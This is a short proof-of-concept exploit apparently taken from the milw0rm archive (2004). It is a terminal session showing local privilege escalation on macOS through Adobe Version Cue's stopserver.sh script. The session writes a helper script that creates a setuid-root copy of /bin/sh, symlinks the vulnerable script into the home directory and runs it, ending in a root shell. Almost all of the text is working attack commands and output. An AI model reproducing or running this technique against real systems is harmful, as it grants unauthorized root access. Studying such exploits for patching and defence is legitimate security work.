Proof of concept:

haven:~ fintler$ cd ~
haven:~ fintler$ id
uid=502(fintler) gid=500(fintler) groups=500(fintler)
haven:~ fintler$ echo "cp /bin/sh /Users/$USER;chmod 4755
/Users/$USER/sh;chown root /Users/$USER/sh" > productname.sh
haven:~ fintler$ chmod 0755 ./productname.sh
haven:~ fintler$ ln -s /Applications/Adobe\ Version\ Cue/stopserver.sh .
haven:~ fintler$ ./stopserver.sh
Stopping  ...

./stopserver.sh: line 21: ./tomcat/bin/shutdown.sh: No such file or directory
No matching processes belonging to you were found
haven:~ fintler$ ./sh
sh-2.05b# id
uid=502(fintler) euid=0(root) gid=500(fintler) groups=500(fintler)
sh-2.05b# whoami
root
sh-2.05b#

# milw0rm.com [2004-12-08]